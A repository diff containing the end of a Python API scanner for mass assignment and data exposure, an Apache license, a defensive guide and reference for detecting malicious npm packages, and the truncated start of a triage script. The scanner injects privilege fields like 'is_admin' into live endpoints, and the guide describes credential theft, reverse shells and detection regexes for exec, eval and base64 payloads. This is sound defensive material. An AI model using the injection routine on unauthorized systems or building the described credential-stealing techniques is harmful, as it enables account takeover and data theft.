resp = requests.get(url, headers=headers, timeout=10)
|
||||
if resp.status_code != 200:
|
||||
return findings
|
||||
data = resp.json()
|
||||
objects = data if isinstance(data, list) else [data]
|
||||
if isinstance(data, dict) and "data" in data:
|
||||
inner = data["data"]
|
||||
objects = inner if isinstance(inner, list) else [inner]
|
||||
for obj in objects[:5]:
|
||||
if not isinstance(obj, dict):
|
||||
continue
|
||||
response_fields = set(flatten_keys(obj))
|
||||
unexpected = response_fields - set(expected_fields)
|
||||
for field in unexpected:
|
||||
sev = classify_field(field)
|
||||
if sev:
|
||||
findings.append({
|
||||
"endpoint": endpoint, "method": "GET",
|
||||
"type": "excessive_exposure", "severity": sev,
|
||||
"property": field,
|
||||
"detail": f"Unexpected sensitive field '{field}' in response"
|
||||
})
|
||||
except (requests.RequestException, json.JSONDecodeError) as e:
|
||||
findings.append({"error": str(e)})
|
||||
return findings
|
||||
|
||||
|
||||
def test_mass_assignment(base_url, endpoint, headers, method="PUT"):
|
||||
findings = []
|
||||
url = f"{base_url.rstrip('/')}{endpoint}"
|
||||
try:
|
||||
original = requests.get(url, headers=headers, timeout=10)
|
||||
original_data = original.json() if original.status_code == 200 else {}
|
||||
except (requests.RequestException, json.JSONDecodeError):
|
||||
original_data = {}
|
||||
|
||||
for field_name, injected_value in MASS_ASSIGNMENT_PAYLOADS:
|
||||
if original_data.get(field_name) == injected_value:
|
||||
continue
|
||||
test_data = deepcopy(original_data)
|
||||
test_data[field_name] = injected_value
|
||||
try:
|
||||
h = {**headers, "Content-Type": "application/json"}
|
||||
if method == "PUT":
|
||||
resp = requests.put(url, json=test_data, headers=h, timeout=10)
|
||||
elif method == "PATCH":
|
||||
resp = requests.patch(url, json={field_name: injected_value}, headers=h, timeout=10)
|
||||
else:
|
||||
resp = requests.post(url, json=test_data, headers=h, timeout=10)
|
||||
if resp.status_code in (200, 201, 204):
|
||||
verify = requests.get(url, headers=headers, timeout=10)
|
||||
if verify.status_code == 200 and verify.json().get(field_name) == injected_value:
|
||||
sev = "CRITICAL" if field_name in ("role", "is_admin", "permissions") else "HIGH"
|
||||
findings.append({
|
||||
"endpoint": endpoint, "method": method,
|
||||
"type": "mass_assignment", "severity": sev,
|
||||
"property": field_name,
|
||||
"detail": f"Injected {field_name}={injected_value} accepted"
|
||||
})
|
||||
if field_name in original_data:
|
||||
requests.patch(url, json={field_name: original_data[field_name]},
|
||||
headers=h, timeout=10)
|
||||
except requests.RequestException:
|
||||
continue
|
||||
return findings
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="BOPLA Vulnerability Scanner (OWASP API3:2023)")
|
||||
parser.add_argument("--base-url", required=True, help="API base URL")
|
||||
parser.add_argument("--endpoint", required=True, help="Endpoint to test (e.g. /api/v1/users/1)")
|
||||
parser.add_argument("--token", help="Bearer token for Authorization header")
|
||||
parser.add_argument("--expected-fields", nargs="+", default=[], help="Expected response fields")
|
||||
parser.add_argument("--test", choices=["exposure", "mass_assignment", "both"], default="both")
|
||||
parser.add_argument("--method", choices=["PUT", "PATCH", "POST"], default="PUT")
|
||||
args = parser.parse_args()
|
||||
|
||||
headers = {}
|
||||
if args.token:
|
||||
headers["Authorization"] = f"Bearer {args.token}"
|
||||
|
||||
results = {"endpoint": args.endpoint, "findings": []}
|
||||
if args.test in ("exposure", "both"):
|
||||
results["findings"].extend(
|
||||
test_excessive_exposure(args.base_url, args.endpoint, args.expected_fields, headers))
|
||||
if args.test in ("mass_assignment", "both"):
|
||||
results["findings"].extend(
|
||||
test_mass_assignment(args.base_url, args.endpoint, headers, args.method))
|
||||
|
||||
results["total_findings"] = len(results["findings"])
|
||||
results["by_severity"] = {}
|
||||
for f in results["findings"]:
|
||||
sev = f.get("severity", "UNKNOWN")
|
||||
results["by_severity"][sev] = results["by_severity"].get(sev, 0) + 1
|
||||
|
||||
print(json.dumps(results, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,199 @@
|
||||
---
|
||||
name: detecting-malicious-npm-packages
|
||||
description: Triage npm packages and lockfiles for install-script malware, credential exfiltration, and worming behavior using GuardDog, manual tarball inspection, and dynamic detonation with network/filesystem monitoring. Use when vetting a new dependency, reviewing a package.json/package-lock.json during code review, checking lockfiles against a supply-chain advisory's known-bad versions, or investigating a host suspected of installing a trojanized package.
|
||||
domain: cybersecurity
|
||||
subdomain: supply-chain-security
|
||||
tags:
|
||||
- supply-chain-security
|
||||
- npm
|
||||
- malware-analysis
|
||||
- guarddog
|
||||
- install-scripts
|
||||
- exfiltration
|
||||
- static-analysis
|
||||
- threat-detection
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.CM-09
|
||||
mitre_attack:
|
||||
- T1195.002
|
||||
---
|
||||
# Detecting Malicious npm Packages
|
||||
|
||||
> **Legal Notice:** Analyze packages in an isolated, disposable environment. Some malicious packages execute on install (`npm install` runs lifecycle scripts automatically) or on import. Never analyze a suspect package on a workstation with credentials, SSH keys, cloud tokens, or network access to production. This skill is for defensive analysis and authorized incident response only.
|
||||
|
||||
## Overview
|
||||
|
||||
The npm registry is the largest software package ecosystem in the world and the most heavily targeted by supply-chain attackers. Malicious packages reach victims through typosquatting (`expresss`, `crossenv`), dependency confusion, account/maintainer takeover (the 2025 Shai-Hulud worm and the `event-stream` compromise are canonical examples), and starjacking. The defining danger of npm is that `npm install` automatically runs `preinstall`, `install`, and `postinstall` lifecycle scripts with the developer's full privileges **before any application code is invoked** — so simply installing a package is enough to be compromised. Roughly 2% of npm packages use install scripts, which makes them both common and a powerful malware delivery vehicle.
|
||||
|
||||
Typical malicious behaviors are: exfiltrating environment variables, `~/.npmrc` tokens, SSH keys, and cloud credentials to an attacker-controlled URL; opening reverse shells; dropping cryptominers; reading and posting `process.env`; obfuscating payloads with base64/eval; and self-propagating (worming) by stealing the maintainer's npm token and republishing trojanized versions of other packages they own.
|
||||
|
||||
This skill provides a repeatable triage workflow centered on **GuardDog** (Datadog's open-source heuristic scanner built on Semgrep + metadata rules), supplemented by manual tarball inspection, lockfile-based compromise checks against known-bad version lists, and dynamic detonation with network and filesystem monitoring. The goal is to decide, quickly and safely, whether a given package or a project's dependency tree contains malicious code.
|
||||
|
||||
## When to Use
|
||||
|
||||
- Triaging a specific npm package before adding it as a dependency.
|
||||
- Vetting a full `package.json` / `package-lock.json` during code review or onboarding a third-party library.
|
||||
- Responding to a supply-chain advisory (e.g., a worm campaign) and needing to check whether your lockfiles pulled a known-bad version.
|
||||
- Investigating an endpoint or CI runner suspected of having installed a trojanized package.
|
||||
- Building a pre-install gate in CI/CD that blocks packages exhibiting malicious indicators.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- An isolated VM or disposable container with **no production credentials** and snapshot/rollback capability.
|
||||
- GuardDog:
|
||||
```bash
|
||||
pip install guarddog
|
||||
# or run via Docker without local install:
|
||||
docker pull ghcr.io/datadog/guarddog
|
||||
alias guarddog='docker run --rm ghcr.io/datadog/guarddog'
|
||||
```
|
||||
- Node.js + npm (use `--ignore-scripts` when downloading for analysis).
|
||||
- `jq`, `tar`, and optionally OSV-Scanner for known-vulnerability/known-malicious cross-checks:
|
||||
```bash
|
||||
go install github.com/google/osv-scanner/cmd/osv-scanner@v1
|
||||
```
|
||||
- For dynamic analysis: a sandbox with egress logging (e.g., `tcpdump`, a DNS sink, or a network namespace).
|
||||
|
||||
## Objectives
|
||||
|
||||
- Statically scan an npm package (or a whole dependency tree) for malicious heuristics without executing it.
|
||||
- Identify install-script abuse, environment/credential exfiltration, obfuscation, and silent process execution.
|
||||
- Cross-check lockfile-pinned versions against known-malicious version lists / OSV.
|
||||
- Safely detonate a suspect package and observe network and filesystem behavior.
|
||||
- Extract indicators of compromise (URLs, IPs, hashes) for blocking and threat intel.
|
||||
- Produce a defensible verdict (benign / suspicious / malicious) with evidence.
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
|
||||
| Technique ID | Technique Name | Relevance |
|
||||
|--------------|----------------|-----------|
|
||||
| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Core technique — trojanized npm package delivered through the registry. |
|
||||
| T1059.007 | Command and Scripting Interpreter: JavaScript | Malicious install scripts / module code execute attacker JavaScript. |
|
||||
| T1552.001 | Unsecured Credentials: Credentials In Files | Packages steal `~/.npmrc`, `.env`, SSH keys, and cloud credential files. |
|
||||
| T1041 | Exfiltration Over C2 Channel | Stolen secrets posted to attacker HTTP(S) endpoints. |
|
||||
| T1027 | Obfuscated Files or Information | base64/eval/hex obfuscation hides the payload from review. |
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Download the package without executing it
|
||||
Fetch the tarball with scripts disabled so nothing runs during acquisition.
|
||||
```bash
|
||||
mkdir triage && cd triage
|
||||
# Resolve the tarball URL and download it (no install, no scripts)
|
||||
npm pack express@4.18.2 # produces express-4.18.2.tgz
|
||||
# or for an arbitrary version:
|
||||
npm view some-pkg@1.2.3 dist.tarball
|
||||
curl -sL "$(npm view some-pkg@1.2.3 dist.tarball)" -o some-pkg.tgz
|
||||
tar -xzf some-pkg.tgz # extracts into ./package
|
||||
```
|
||||
|
||||
### 2. Scan a single package with GuardDog
|
||||
GuardDog applies metadata + source heuristics and prints which rules matched.
|
||||
```bash
|
||||
# Scan the latest published version from the registry
|
||||
guarddog npm scan express
|
||||
|
||||
# Scan a specific version
|
||||
guarddog npm scan some-pkg --version 1.2.3
|
||||
|
||||
# Scan the local tarball / extracted directory you downloaded above
|
||||
guarddog npm scan ./some-pkg.tgz
|
||||
guarddog npm scan ./package/
|
||||
```
|
||||
|
||||
### 3. Verify an entire dependency tree
|
||||
`verify` scans every dependency declared in a manifest — ideal for code review.
|
||||
```bash
|
||||
guarddog npm verify /path/to/repo/package.json
|
||||
```
|
||||
|
||||
### 4. Focus on the highest-signal heuristics
|
||||
Filter to the npm rules most indicative of malware to cut noise during triage.
|
||||
```bash
|
||||
guarddog npm scan some-pkg \
|
||||
--rules npm-install-script \
|
||||
--rules npm-serialize-environment \
|
||||
--rules npm-exec-base64 \
|
||||
--rules npm-silent-process-execution \
|
||||
--rules npm-obfuscation \
|
||||
--rules shady-links \
|
||||
--rules typosquatting
|
||||
```
|
||||
|
||||
### 5. Emit machine-readable output for pipelines
|
||||
JSON for tooling, SARIF for GitHub code scanning.
|
||||
```bash
|
||||
guarddog npm scan some-pkg --output-format=json > guarddog.json
|
||||
guarddog npm verify package.json --output-format=sarif > guarddog.sarif
|
||||
```
|
||||
|
||||
### 6. Manually inspect lifecycle scripts and source
|
||||
Lifecycle scripts are the first thing to read; obfuscation and outbound URLs are red flags.
|
||||
```bash
|
||||
# Show all lifecycle hooks
|
||||
jq '.scripts' package/package.json
|
||||
|
||||
# Hunt for exfiltration / execution primitives in the source
|
||||
grep -rEn "child_process|exec\(|spawn|eval\(|Buffer\.from\(.*base64|process\.env|https?://" package/ \
|
||||
--include='*.js' --include='*.ts' | head -50
|
||||
```
|
||||
|
||||
### 7. Cross-check lockfiles against known-malicious versions
|
||||
During an active campaign, compare pinned versions to the advisory's bad-version list, and run OSV.
|
||||
```bash
|
||||
# Extract resolved name@version pairs from a v3 lockfile
|
||||
jq -r '.packages | to_entries[] | select(.key|startswith("node_modules/")) | "\(.key|ltrimstr("node_modules/"))@\(.value.version)"' package-lock.json
|
||||
|
||||
# OSV-Scanner flags known-vulnerable AND known-malicious (MAL-) advisories
|
||||
osv-scanner --lockfile=package-lock.json
|
||||
```
|
||||
|
||||
### 8. Detonate safely with monitoring (only if static is inconclusive)
|
||||
Run the install inside a disposable, network-monitored sandbox.
|
||||
```bash
|
||||
# In a throwaway container / VM with egress capture running (tcpdump -w capture.pcap):
|
||||
npm install ./some-pkg.tgz # scripts WILL run — sandbox only
|
||||
# Baseline-diff the filesystem afterwards for writes outside node_modules,
|
||||
# and inspect capture.pcap for unexpected DNS / HTTP beacons.
|
||||
```
|
||||
|
||||
### 9. Extract and operationalize IOCs
|
||||
Pull URLs, IPs, and hashes for blocking and intel sharing.
|
||||
```bash
|
||||
grep -rhoE "https?://[a-zA-Z0-9./?=_%:-]+" package/ | sort -u > urls.txt
|
||||
sha256sum some-pkg.tgz package/*.js > hashes.txt
|
||||
```
|
||||
|
||||
### 10. Run the bundled triage helper
|
||||
`agent.py` orchestrates GuardDog, lifecycle-script inspection, and IOC extraction into one report.
|
||||
```bash
|
||||
python scripts/agent.py --package some-pkg --version 1.2.3 --output verdict.json
|
||||
# or against a local tarball:
|
||||
python scripts/agent.py --tarball ./some-pkg.tgz --output verdict.json
|
||||
```
|
||||
|
||||
## Tools and Resources
|
||||
|
||||
| Tool | Purpose | Source |
|
||||
|------|---------|--------|
|
||||
| GuardDog | Heuristic npm/PyPI/Go malware scanner | https://github.com/DataDog/guarddog |
|
||||
| OSV-Scanner | Known-vulnerable & known-malicious (MAL-) advisory matching | https://github.com/google/osv-scanner |
|
||||
| OSV malicious DB | Open-source malicious package advisories | https://github.com/ossf/malicious-packages |
|
||||
| npm lifecycle docs | preinstall/install/postinstall semantics | https://docs.npmjs.com/cli/v10/using-npm/scripts |
|
||||
| Datadog Security Labs | npm campaign writeups & rules | https://securitylabs.datadoghq.com/ |
|
||||
| Semgrep | Rule engine GuardDog uses for source heuristics | https://semgrep.dev/ |
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- [ ] Package acquired with scripts disabled in an isolated environment.
|
||||
- [ ] GuardDog `scan` run on the target version with results captured.
|
||||
- [ ] Full dependency tree run through GuardDog `verify` where applicable.
|
||||
- [ ] Lifecycle scripts (`preinstall`/`install`/`postinstall`) read and assessed.
|
||||
- [ ] Lockfile versions cross-checked against OSV / known-bad lists.
|
||||
- [ ] Dynamic detonation performed in a sandbox if static analysis was inconclusive.
|
||||
- [ ] IOCs (URLs, IPs, hashes) extracted and recorded.
|
||||
- [ ] Documented verdict (benign / suspicious / malicious) with supporting evidence.
|
||||
- [ ] Malicious findings reported to the registry and shared as threat intel.
|
||||
@@ -0,0 +1,54 @@
|
||||
# API and Command Reference
|
||||
|
||||
## GuardDog (DataDog/guarddog)
|
||||
|
||||
Install: `pip install guarddog` | Docker: `ghcr.io/datadog/guarddog`
|
||||
|
||||
### Subcommands
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `guarddog npm scan <pkg>` | Scan latest version from registry. |
|
||||
| `guarddog npm scan <pkg> --version X.Y.Z` | Scan a specific version. |
|
||||
| `guarddog npm scan <path.tgz \| dir>` | Scan a local tarball or extracted directory. |
|
||||
| `guarddog npm verify <package.json>` | Scan every dependency in a manifest. |
|
||||
| `guarddog pypi scan <pkg>` | Same for PyPI. |
|
||||
| `guarddog go scan <module>` / `guarddog go verify go.mod` | Go modules. |
|
||||
| `guarddog rubygems scan <gem>` | RubyGems. |
|
||||
|
||||
### Common flags
|
||||
| Flag | Description |
|
||||
|------|-------------|
|
||||
| `--output-format=json` | Machine-readable JSON. |
|
||||
| `--output-format=sarif` | SARIF for GitHub code scanning. |
|
||||
| `--rules <rule>` (repeatable) | Run only the named rule(s). |
|
||||
| `--exclude-rules <rule>` | Exclude the named rule(s). |
|
||||
| `--log-level debug` | Verbose diagnostics. |
|
||||
|
||||
### Key npm heuristics
|
||||
| Rule | Detects |
|
||||
|------|---------|
|
||||
| `npm-install-script` | preinstall/install/postinstall lifecycle scripts. |
|
||||
| `npm-serialize-environment` | Exfiltration of environment variables. |
|
||||
| `npm-exec-base64` | eval of base64-decoded payloads. |
|
||||
| `npm-silent-process-execution` | Silent child-process execution. |
|
||||
| `npm-obfuscation` | Common obfuscation patterns. |
|
||||
| `shady-links` | Suspicious URLs in code. |
|
||||
| `typosquatting` | Name similar to a popular package. |
|
||||
| `potentially_compromised_email_domain` | Maintainer email on a lapsed domain. |
|
||||
|
||||
## OSV-Scanner
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `osv-scanner --lockfile=package-lock.json` | Match pinned versions to OSV advisories incl. `MAL-` malicious entries. |
|
||||
| `osv-scanner -r <dir>` | Recursively scan a directory. |
|
||||
| `osv-scanner --format json` | JSON output. |
|
||||
|
||||
## npm acquisition (no execution)
|
||||
|
||||
| Command | Description |
|
||||
|---------|-------------|
|
||||
| `npm pack <pkg>@<ver>` | Download tarball without installing. |
|
||||
| `npm view <pkg>@<ver> dist.tarball` | Print the tarball URL. |
|
||||
| `npm install --ignore-scripts` | Install while skipping lifecycle scripts. |
|
||||
| `jq '.scripts' package/package.json` | List lifecycle hooks. |
|
||||
@@ -0,0 +1,23 @@
|
||||
# Standards and Framework Mapping
|
||||
|
||||
## MITRE ATT&CK
|
||||
|
||||
| ID | Name | Rationale |
|
||||
|----|------|-----------|
|
||||
| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Core technique — trojanized package shipped through the npm registry. |
|
||||
| T1059.007 | Command and Scripting Interpreter: JavaScript | Install scripts and module code run attacker JavaScript on the victim. |
|
||||
| T1552.001 | Unsecured Credentials: Credentials In Files | Packages harvest `.npmrc`, `.env`, SSH keys, and cloud credential files. |
|
||||
| T1041 | Exfiltration Over C2 Channel | Stolen data is POSTed to attacker HTTP(S) endpoints. |
|
||||
| T1027 | Obfuscated Files or Information | base64/eval/hex obfuscation conceals the payload. |
|
||||
|
||||
## NIST Cybersecurity Framework 2.0
|
||||
|
||||
| ID | Name | Rationale |
|
||||
|----|------|-----------|
|
||||
| DE.CM-09 | Computing hardware and software, runtime environments, and their data are monitored to find potentially adverse events | Static + dynamic triage of npm packages and lockfiles is the monitoring control that surfaces malicious dependencies. |
|
||||
|
||||
## Supporting Standards
|
||||
|
||||
- **OWASP Top 10 CI/CD Security Risks — CICD-SEC-03: Dependency Chain Abuse.** Malicious package ingestion is a primary dependency-chain abuse vector.
|
||||
- **NIST SP 800-218 (SSDF) — PW.4 / PS.3.** Reuse and verify the integrity of acquired software components; triaging packages satisfies the verification practice.
|
||||
- **SLSA provenance.** Verifying build provenance reduces the chance of consuming a tampered or republished package.
|
||||
@@ -0,0 +1,171 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Malicious npm package triage helper.
|
||||
|
||||
Orchestrates GuardDog static scanning, lifecycle-script inspection, and IOC
|
||||
extraction for a single npm package (by name@version) or a local tarball, and
|
||||
emits a structured verdict report.
|
||||
|
||||
WARNING: download with scripts disabled and run only in an isolated, disposable
|
||||
environment with no production credentials. Defensive / authorized use only.
|
||||
"""
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tarfile
|
||||
import tempfile
|
||||
import urllib.request
|
||||
from pathlib import Path
|
||||
|
||||
URL_RE = re.compile(r"https?://[A-Za-z0-9./?=_%:&#-]+")
|
||||
SUSPECT_RE = re.compile(
|
||||
r"child_process|\bexec\s*\(|\bspawn\b|\beval\s*\(|Buffer\.from\([^)]*base64|process\.env",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
HIGH_SIGNAL_RULES = [
|
||||
"npm-install-script",
|
||||
"npm-serialize-environment",
|
||||
"npm-exec-base64",
|
||||
"npm-silent-process-execution",
|
||||
"npm-obfuscation",
|
||||
"shady-links",
|
||||
"typosquatting",
|
||||
]
|
||||
|
||||
|
||||
def run(cmd: list[str], timeout: int = 600) -> tuple[int, str, str]:
|
||||
try:
|
||||
p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
|
||||
return p.returncode, p.stdout, p.stderr
|
||||
except FileNotFoundError:
|
||||
return 127, "", f"command not found: {cmd[0]}"
|
||||
except subprocess.SubprocessError as exc:
|
||||
return 1, "", f"subprocess error: {exc}"
|
||||
|
||||
|
||||
def guarddog_scan(target: str, version: str | None) -> dict:
|
||||
if not shutil.which("guarddog"):
|
||||
return {"error": "guarddog not installed (pip install guarddog)"}
|
||||
cmd = ["guarddog", "npm", "scan", target, "--output-format=json"]
|
||||
if version:
|
||||
cmd += ["--version", version]
|
||||
for rule in HIGH_SIGNAL_RULES:
|
||||
cmd += ["--rules", rule]
|
||||
rc, out, err = run(cmd)
|
||||
try:
|
||||
return {"returncode": rc, "result": json.loads(out)} if out.strip() else {"returncode": rc, "stderr": err}
|
||||
except json.JSONDecodeError:
|
||||
return {"returncode": rc, "raw": out, "stderr": err}
|
||||
|
||||
|
||||
def download_tarball(name: str, version: str | None, dest: Path) -> Path | None:
|
||||
spec = f"{name}@{version}" if version else name
|
||||
rc, out, err = run(["npm", "view", spec, "dist.tarball"])
|
||||
if rc != 0 or not out.strip():
|
||||
print(f"[warn] could not resolve tarball for {spec}: {err}", file=sys.stderr)
|
||||
return None
|
||||
url = out.strip().splitlines()[-1]
|
||||
tgz = dest / "package.tgz"
|
||||
try:
|
||||
urllib.request.urlretrieve(url, tgz) # noqa: S310 - registry URL from npm
|
||||
return tgz
|
||||
except Exception as exc: # noqa: BLE001
|
||||
print(f"[warn] download failed: {exc}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
|
||||
def inspect_tarball(tgz: Path, workdir: Path) -> dict:
|
||||
findings = {"lifecycle_scripts": {}, "suspicious_lines": [], "urls": []}
